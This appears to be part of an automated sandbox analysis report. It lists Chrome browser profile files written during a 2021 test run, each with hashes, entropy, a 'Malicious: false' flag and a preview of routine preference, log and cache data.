SSDEEP:	48:TUIopK2rJNVr1GJmm8pF82phrJNVrdHX/cjrJN2yJ1n4n1GmhGU1cEB/AlIoTRs5:wIElwQF8mpcSas/Al7sW53Cdfv1
MD5:	4C839CB756F3977AE4919050136908C0
SHA1:	37E09C0373575A74B728DBA090B91FD9D509DB30
SHA-256:	4ADCD04D296DD666A40878C409AF87E3489CDAD195C56880B45BCF0F1904A020
SHA-512:	03395D8245570BD9788D0078F27D888FD7BC9993518CCA9FB5CBF8C251018E74B3040226CD6310D248146D3E7C087919C8A28E25188EDE9E281637BC3E89C68A
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................C..........g...^.........j............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences. (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	16745
Entropy (8bit):	5.57736597591648
Encrypted:	false
SSDEEP:	384:/cTtwLlG7Xk1kXqKf/pUZNCgVLH2HfDPrUdDLo4K:hLlAk1kXqKf/pUZNCgVLH2HfrrUBod
MD5:	C07E3F5EA2C2CC872B66432A983028A6
SHA1:	C5F107707761B9BCACF3F055267CC3FCB303312F
SHA-256:	5578698169AD8171E228B57F50FE7280EEBFE7E4896CC935AAEAFC16B8EB017C
SHA-512:	B59897A29DAD3A1BCB192CB8489825B9532D553C5820256AAA25EFE9B53CF5FFA5423AA0098EFE22C5CEB308A874CE858FAE08CFAB9213A24FB9B52D95C713C2
Malicious:	false
Reputation:	unknown
Preview:	{"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"install_time":"13280015424813965","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","icons":{"128":"webstore_icon_128.png","16":"webstore_icon_16.png"},"key":"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCtl3tO0osjuzRsf6xtD2SKxPlTfuoy7AWoObysitBPvH5fE1NaAA1/2JkPWkVDhdLBWLaIBPYeXbzlHp3y4Vv/4XG+aN5qFE3z+1RU/NqkzVYHtIpVScf3DjTYtKVL66mzVGijSoAIwbFCC3LpGdaoe6Q1rSRDp76wR6jjFzsYwQIDAQAB","name":"Web Store","pe

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences.. (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	17092
Entropy (8bit):	5.583181891141964
Encrypted:	false
SSDEEP:	384:/cTtpLlG7Xk1kXqKf/pUZNCgVLH2HfDPrUPDLWo4h:WLlAk1kXqKf/pUZNCgVLH2HfrrUuoO
MD5:	FBB21F03F922068D76A443D7681BC18A
SHA1:	559BEFF9C85046840A57211712D2F54AE125D95B
SHA-256:	B20A825A2AF7FB06E581B754DCAD60260DD1329A2A6A355B8A0687D00D810F7A
SHA-512:	1C19F702C12476ED0DCD5FB569CF9A185C6818C878C3C5D8321D6D430B81B39AF5CB9BCED104A95AAA1279E236317D61A76301F6779E9B5449BE211CD10CE55B
Malicious:	false
Reputation:	unknown
Preview:	{"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"install_time":"13280015424813965","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","icons":{"128":"webstore_icon_128.png","16":"webstore_icon_16.png"},"key":"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCtl3tO0osjuzRsf6xtD2SKxPlTfuoy7AWoObysitBPvH5fE1NaAA1/2JkPWkVDhdLBWLaIBPYeXbzlHp3y4Vv/4XG+aN5qFE3z+1RU/NqkzVYHtIpVScf3DjTYtKVL66mzVGijSoAIwbFCC3LpGdaoe6Q1rSRDp76wR6jjFzsYwQIDAQAB","name":"Web Store","pe

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\GPUCache\data_1 Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Reputation:	unknown
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Network Persistent State (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	420
Entropy (8bit):	4.985305467053914
Encrypted:	false
SSDEEP:	6:YHpoNXR8+eq7JdV5qQlsDHF4xj70PpqQEsDHF4R8HLJ2AVQBR70S7PMVKJw1K3Ky:YHO8sdBsB6MAsBdLJlyH7E4f3K33y
MD5:	C401B619D9D8E0ADABC25A47EE49CFBA
SHA1:	C9D3B816DD3FBCD98E9C0A32CEC7B501EFC0BBDA
SHA-256:	8F5D75F5EF9876E8D30CE477509F735B50C4D87DBEDB433BE8EDBE6D4B3CB82F
SHA-512:	BC12F16CB95CB0AD708C6BBD005EF863A8552613E612F1084086E0F8262752E1B5144D044F0D141CE8462CC33343C36B517A5CC778751680485D8F88FB51B862
Malicious:	false
Reputation:	unknown
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[50],"expiration":"13248543490879170","port":443,"protocol_str":"quic"},{"advertised_versions":[73],"expiration":"13248543490879171","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://dns.google","supports_spdy":true}],"version":5},"network_qualities":{"CAASABiAgICA+P////8B":"4G","CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Session Storage\000003.log Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Reputation:	unknown
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Session Storage\LOG Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	415
Entropy (8bit):	5.265905370390252
Encrypted:	false
SSDEEP:	6:maEeRUyAq2PWXp+N23iKKdKusNpZQMxIFUtnEeRUbZmwBEeRU4kwOWXp+N23iKK+:pvyyAva5KkMFUtnvyb/Bvy45f5KkTJ
MD5:	D4586C20AA021CDF26D8393D5FDFC9A3
SHA1:	B10541B4CA058DB10D427CB68B0815C76CE652E5
SHA-256:	A9793BD0271D2953FA1F44CEB74A349F5384644528FC346AB141BD42D0BDDA2C
SHA-512:	4E8C83708D7AFEF6B59488A106CE3CF2C389E5EC11495BA113DEFECA9087E8A6CCD85C36F871A9D14FA412C617E54EECA6797AC00680FDA0CB59251F94D2EA09
Malicious:	false
Reputation:	unknown
Preview:	2021/10/29-14:10:41.764 df0 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Session Storage/MANIFEST-000001.2021/10/29-14:10:41.765 df0 Recovering log #3.2021/10/29-14:10:41.766 df0 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Session Storage\LOG.oldos (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	415
Entropy (8bit):	5.265905370390252
Encrypted:	false
SSDEEP:	6:maEeRUyAq2PWXp+N23iKKdKusNpZQMxIFUtnEeRUbZmwBEeRU4kwOWXp+N23iKK+:pvyyAva5KkMFUtnvyb/Bvy45f5KkTJ
MD5:	D4586C20AA021CDF26D8393D5FDFC9A3
SHA1:	B10541B4CA058DB10D427CB68B0815C76CE652E5
SHA-256:	A9793BD0271D2953FA1F44CEB74A349F5384644528FC346AB141BD42D0BDDA2C
SHA-512:	4E8C83708D7AFEF6B59488A106CE3CF2C389E5EC11495BA113DEFECA9087E8A6CCD85C36F871A9D14FA412C617E54EECA6797AC00680FDA0CB59251F94D2EA09
Malicious:	false
Reputation:	unknown
Preview:	2021/10/29-14:10:41.764 df0 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Session Storage/MANIFEST-000001.2021/10/29-14:10:41.765 df0 Recovering log #3.2021/10/29-14:10:41.766 df0 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\f3f072f8-9740-417a-a88b-dfe93adcb8b1.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	420
Entropy (8bit):	4.985305467053914
Encrypted:	false
SSDEEP:	6:YHpoNXR8+eq7JdV5qQlsDHF4xj70PpqQEsDHF4R8HLJ2AVQBR70S7PMVKJw1K3Ky:YHO8sdBsB6MAsBdLJlyH7E4f3K33y
MD5:	C401B619D9D8E0ADABC25A47EE49CFBA
SHA1:	C9D3B816DD3FBCD98E9C0A32CEC7B501EFC0BBDA
SHA-256:	8F5D75F5EF9876E8D30CE477509F735B50C4D87DBEDB433BE8EDBE6D4B3CB82F
SHA-512:	BC12F16CB95CB0AD708C6BBD005EF863A8552613E612F1084086E0F8262752E1B5144D044F0D141CE8462CC33343C36B517A5CC778751680485D8F88FB51B862
Malicious:	false
Reputation:	unknown
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[50],"expiration":"13248543490879170","port":443,"protocol_str":"quic"},{"advertised_versions":[73],"expiration":"13248543490879171","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://dns.google","supports_spdy":true}],"version":5},"network_qualities":{"CAASABiAgICA+P////8B":"4G","CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\ac7d1c27-d7ae-4dfb-862c-070a5827ea1e.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	UTF-8 Unicode text, with very long lines, with no line terminators
Category:	modified
Size (bytes):	17092
Entropy (8bit):	5.583181891141964
Encrypted:	false
SSDEEP:	384:/cTtpLlG7Xk1kXqKf/pUZNCgVLH2HfDPrUPDLWo4h:WLlAk1kXqKf/pUZNCgVLH2HfrrUuoO
MD5:	FBB21F03F922068D76A443D7681BC18A
SHA1:	559BEFF9C85046840A57211712D2F54AE125D95B
SHA-256:	B20A825A2AF7FB06E581B754DCAD60260DD1329A2A6A355B8A0687D00D810F7A
SHA-512:	1C19F702C12476ED0DCD5FB569CF9A185C6818C878C3C5D8321D6D430B81B39AF5CB9BCED104A95AAA1279E236317D61A76301F6779E9B5449BE211CD10CE55B
Malicious:	false
Reputation:	unknown
Preview:	{"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"manifest_permissions":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"from_bookmark":false,"from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"install_time":"13280015424813965","location":5,"manifest":{"app":{"launch":{"web_url":"https://chrome.google.com/webstore"},"urls":["https://chrome.google.com/webstore"]},"description":"Discover great apps, games, extensions and themes for Google Chrome.","icons":{"128":"webstore_icon_128.png","16":"webstore_icon_16.png"},"key":"MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCtl3tO0osjuzRsf6xtD2SKxPlTfuoy7AWoObysitBPvH5fE1NaAA1/2JkPWkVDhdLBWLaIBPYeXbzlHp3y4Vv/4XG+aN5qFE3z+1RU/NqkzVYHtIpVScf3DjTYtKVL66mzVGijSoAIwbFCC3LpGdaoe6Q1rSRDp76wR6jjFzsYwQIDAQAB","name":"Web Store","pe

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\000004.dbtmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Rv:1qIFJ
MD5:	6752A1D65B201C13B62EA44016EB221F
SHA1:	58ECF154D01A62233ED7FB494ACE3C3D4FFCE08B
SHA-256:	0861415CADA612EA5834D56E2CF1055D3E63979B69EB71D32AE9AE394D8306CD
SHA-512:	9CFD838D3FB570B44FC3461623AB2296123404C6C8F576B0DE0AABD9A6020840D4C9125EB679ED384170DBCAAC2FA30DC7FA9EE5B77D6DF7C344A0AA030E0389
Malicious:	false
Reputation:	unknown
Preview:	MANIFEST-000004.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\CURRENT. (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Rv:1qIFJ
MD5:	6752A1D65B201C13B62EA44016EB221F
SHA1:	58ECF154D01A62233ED7FB494ACE3C3D4FFCE08B
SHA-256:	0861415CADA612EA5834D56E2CF1055D3E63979B69EB71D32AE9AE394D8306CD
SHA-512:	9CFD838D3FB570B44FC3461623AB2296123404C6C8F576B0DE0AABD9A6020840D4C9125EB679ED384170DBCAAC2FA30DC7FA9EE5B77D6DF7C344A0AA030E0389
Malicious:	false
Reputation:	unknown
Preview:	MANIFEST-000004.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\LOG Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	136
Entropy (8bit):	4.460609817731167
Encrypted:	false
SSDEEP:	3:tUKj5U5MfRUcF30yZmwv2S5U5MfRXVNFWSV8tS5U5MfRXVNFWSWGv:maEeRUIZmwBEeRMSVhEeRMStv
MD5:	ED595A3BDACDE073C1297DF727DBC4D0
SHA1:	0D273E01F6A8B0C77892ADAD1909650E61A9EF77
SHA-256:	56550BDC600F9DD8BB9134E4F954A9D1FC0939DA04F22FDD38B110BFB0866D6E
SHA-512:	2A40594973C8947C63CFDB071F266413747CF19C424EFC121C5EDD6854C34D373950446D8301FDFFBECF2FF4F621CC25BEDE0EE948E4160B1C7AF7D9FF8BBA4B
Malicious:	false
Reputation:	unknown
Preview:	2021/10/29-14:10:41.124 8f4 Recovering log #3.2021/10/29-14:10:42.682 8f4 Delete type=0 #3.2021/10/29-14:10:42.682 8f4 Delete type=3 #2.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\LOG.old (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	136
Entropy (8bit):	4.460609817731167
Encrypted:	false
SSDEEP:	3:tUKj5U5MfRUcF30yZmwv2S5U5MfRXVNFWSV8tS5U5MfRXVNFWSWGv:maEeRUIZmwBEeRMSVhEeRMStv
MD5:	ED595A3BDACDE073C1297DF727DBC4D0
SHA1:	0D273E01F6A8B0C77892ADAD1909650E61A9EF77
SHA-256:	56550BDC600F9DD8BB9134E4F954A9D1FC0939DA04F22FDD38B110BFB0866D6E
SHA-512:	2A40594973C8947C63CFDB071F266413747CF19C424EFC121C5EDD6854C34D373950446D8301FDFFBECF2FF4F621CC25BEDE0EE948E4160B1C7AF7D9FF8BBA4B
Malicious:	false
Reputation:	unknown
Preview:	2021/10/29-14:10:41.124 8f4 Recovering log #3.2021/10/29-14:10:42.682 8f4 Delete type=0 #3.2021/10/29-14:10:42.682 8f4 Delete type=3 #2.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\MANIFEST-000004 Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MPEG-4 LOAS
Category:	dropped
Size (bytes):	50
Entropy (8bit):	5.028758439731456
Encrypted:	false
SSDEEP:	3:Ukk/vxQRDKIVmt+8jzn:oO7t8n
MD5:	031D6D1E28FE41A9BDCBD8A21DA92DF1
SHA1:	38CEE81CB035A60A23D6E045E5D72116F2A58683
SHA-256:	B51BC53F3C43A5B800A723623C4E56A836367D6E2787C57D71184DF5D24151DA
SHA-512:	E994CD3A8EE3E3CF6304C33DF5B7D6CC8207E0C08D568925AFA9D46D42F6F1A5BDD7261F0FD1FCDF4DF1A173EF4E159EE1DE8125E54EFEE488A1220CE85AF904
Malicious:	false
Reputation:	unknown
Preview:	V........leveldb.BytewiseComparator...#...........

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\e693ec52-2d0e-4227-8774-954423d894b9.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Reputation:	unknown
Preview:	.

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\ee68a962-742b-43eb-93af-8db2e86d8ed6.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	5193
Entropy (8bit):	4.977948195597817
Encrypted:	false
SSDEEP:	96:n8pCFc5I9pcKI1fok0JCKL8aTkjuzbOTQVuwn:n8pCF/9pcja4KJkjA
MD5:	403C2C47933957AA76729FEE38AAC01B
SHA1:	5A82E7091A8D5BFC88A4B52F309D5165A5203B2E
SHA-256:	8BFECC26C3A718F73B8D4EEA149967FF700177190CC8A1F4304286A337C348F6
SHA-512:	2DABEEC46ECDC95366EFEAEDD6A676B71FAD3605DC851839DA9434A4F48D302DBDAA7934219910F3F623273DAC59488A22F1A269E54F3E29F2B700F599185AFF
Malicious:	false
Reputation:	unknown
Preview:	{"account_id_migration_state":2,"account_tracker_service_last_update":"13280015426034104","alternate_error_pages":{"backup":true},"announcement_notification_service_first_run_time":"13245951485614034","autocomplete":{"retention_policy_last_version":85},"autofill":{"orphan_rows_removed":true},"browser":{"default_browser_infobar_last_declined":"13245951692116406","has_seen_welcome_page":true,"navi_onboard_group":"","should_reset_check_default_browser":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"countryid_at_install":21843,"data_reduction":{"daily_original_length":["0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","7355378"],"daily_received_length":["0","0","0","0","0","0","0","

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\f13931a8-f7f2-4c5b-8012-fa5bd2fcc868.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	2151
Entropy (8bit):	4.89628161613295
Encrypted:	false
SSDEEP:	48:Y2TntwCXGDH3qz5sCGsQRLsC2HZrsysAMyKs4MHKsmMHgzYhbD:JTnOCXGDHazpCmZrsOM9GIG9hH
MD5:	906A257501BB067F8C7EC0583389BD7E
SHA1:	3EB950BD6BBE5D2BD5BBF5AAB211A306295062FF
SHA-256:	E3221CD0FCEA91239BC8428F5F1661EDFCC2D8E4E019212552E4D5487FE824B3
SHA-512:	DE030BD9541604557042C7CC3CF3DCF0DDEA5FF00D0CF7198D2AA4CD1F0829D791E22D75B41C05BA23AC23ADFCE39712A6E2F4E2958A73C1E4A41A5352D4986B
Malicious:	false
Reputation:	unknown
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://www.gstatic.com","supports_spdy":true},{"isolation":[],"server":"https://www.google.com","supports_spdy":true},{"isolation":[],"server":"https://ssl.gstatic.com","supports_spdy":true},{"isolation":[],"server":"https://fonts.gstatic.com","supports_spdy":true},{"isolation":[],"server":"https://apis.google.com","supports_spdy":true},{"isolation":[],"server":"https://play.google.com","supports_spdy":true},{"isolation":[],"server":"https://ogs.google.com","supports_spdy":true},{"isolation":[],"server":"https://www.googleapis.com","supports_spdy":true},{"isolation":[],"server":"https://dns.google","supports_spdy":true},{"alternative_service":[{"advertised_versions":[50],"expiration":"13282607428238388","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://redirector.gvt1.com"},{"alternative_service":[{"advertised_versions":[50],"expiration":"13282607428244406","port":443,"protocol_str":"quic"}],"isol

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\f4c1d6ea-25cd-46c1-a120-5b8b54342841.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	4219
Entropy (8bit):	4.871684703914691
Encrypted:	false
SSDEEP:	48:YXsJjMH+5s7YMHBKsvxMHVzspxMHbsIHt/soBDysKqnsllzMHpDCLsWJMHLsNuMg:RG+ZGJG+GTTD7IGpD+G7Gp2GnG4GVhH
MD5:	EDC4A4E22003A711AEF67FAED28DB603
SHA1:	977E551B9ED5F60D018C030B0B4AA2E33B954556
SHA-256:	DD2C9F43F622F801FCC213CDE8E3E90EF1D0D26665AE675449A94CEC7EB1D453
SHA-512:	84D3930579FD73C7D86144D5CDC636436955BA79759273C740D2D72BC4847F2F7F165BBCA3EB2E4DFB01777D6A5F141623278C1BF74615C5A491092CE3FD1602
Malicious:	false
Reputation:	unknown
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[],"expiration":"13248543677350473","port":443,"protocol_str":"quic"},{"advertised_versions":[],"expiration":"13248543677350474","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":31344},"server":"https://dns.google","supports_spdy":true},{"alternative_service":[{"advertised_versions":[],"expiration":"13248543501474403","port":443,"protocol_str":"quic"},{"advertised_versions":[],"expiration":"13248543501474403","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":31656},"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_versions":[],"expiration":"13248543501454993","port":443,"protocol_str":"quic"},{"advertised_versions":[],"expiration":"13248543501454994","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":39369},"server":"https://www.googleapis.com","supports_spdy":true},

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata\LOG Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.126205610080349
Encrypted:	false
SSDEEP:	6:maEeR2q2PWXp+N23iKKdKfrzAdIFUtnEeRsBZmwBEeRsbkwOWXp+N23iKKdKfrzS:pvkva5Kk9FUtnvqB/Bvqb5f5Kk2J
MD5:	BC3D75492A9CEDB07489A2B2AA0896C0
SHA1:	4571A89962260C4A10B0054E3E1235507887E42D
SHA-256:	2B82B394BCCEB5A449A994A8AC220A776B1D42CAD16D41A8CFBA9D18ADDA97B9
SHA-512:	BB625611546CAD40183386B96C2A256DC84A25F91937E1CD4F9BE40824CF2FDA6A12AB7AD2C7BD066432B46417E0F154703C3EA132C40C2D087EFED559A00140
Malicious:	false
Reputation:	unknown
Preview:	2021/10/29-14:10:44.200 df0 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2021/10/29-14:10:44.201 df0 Recovering log #3.2021/10/29-14:10:44.201 df0 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata\LOG.old8f (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.126205610080349
Encrypted:	false
SSDEEP:	6:maEeR2q2PWXp+N23iKKdKfrzAdIFUtnEeRsBZmwBEeRsbkwOWXp+N23iKKdKfrzS:pvkva5Kk9FUtnvqB/Bvqb5f5Kk2J
MD5:	BC3D75492A9CEDB07489A2B2AA0896C0
SHA1:	4571A89962260C4A10B0054E3E1235507887E42D
SHA-256:	2B82B394BCCEB5A449A994A8AC220A776B1D42CAD16D41A8CFBA9D18ADDA97B9
SHA-512:	BB625611546CAD40183386B96C2A256DC84A25F91937E1CD4F9BE40824CF2FDA6A12AB7AD2C7BD066432B46417E0F154703C3EA132C40C2D087EFED559A00140
Malicious:	false
Reputation:	unknown
Preview:	2021/10/29-14:10:44.200 df0 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2021/10/29-14:10:44.201 df0 Recovering log #3.2021/10/29-14:10:44.201 df0 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\GrShaderCache\GPUCache\data_1 Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0018238520723782249
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zELqCjtl:/M/xT02zSBl
MD5:	4D6A87B837034502A12B3821F7C67DB9
SHA1:	2D9AEFD5997E23FA1AC4FCD4F3BEF29FB8514207
SHA-256:	774273543D373714C0F766A844038E50D14A69C70281883599D0EF65F7E10D92
SHA-512:	599B9EF531293B6AE2D99E2F105E0A5ECE1AD8CF998FD0F14B812A62080527B0AC4BB67970E761D05B6CB5C1ED5AC3D313E05812E7BEF20AFD1FAC7394B797D8
Malicious:	false
Reputation:	unknown
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Last Browser Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	106
Entropy (8bit):	3.138546519832722
Encrypted:	false
SSDEEP:	3:tbloIlrJ5ldQxl7aXVdJiG6R0RlAl:tbdlrnQxZaHIGi0R6l
MD5:	DE9EF0C5BCC012A3A1131988DEE272D8
SHA1:	FA9CCBDC969AC9E1474FCE773234B28D50951CD8
SHA-256:	3615498FBEF408A96BF30E01C318DAC2D5451B054998119080E7FAAC5995F590
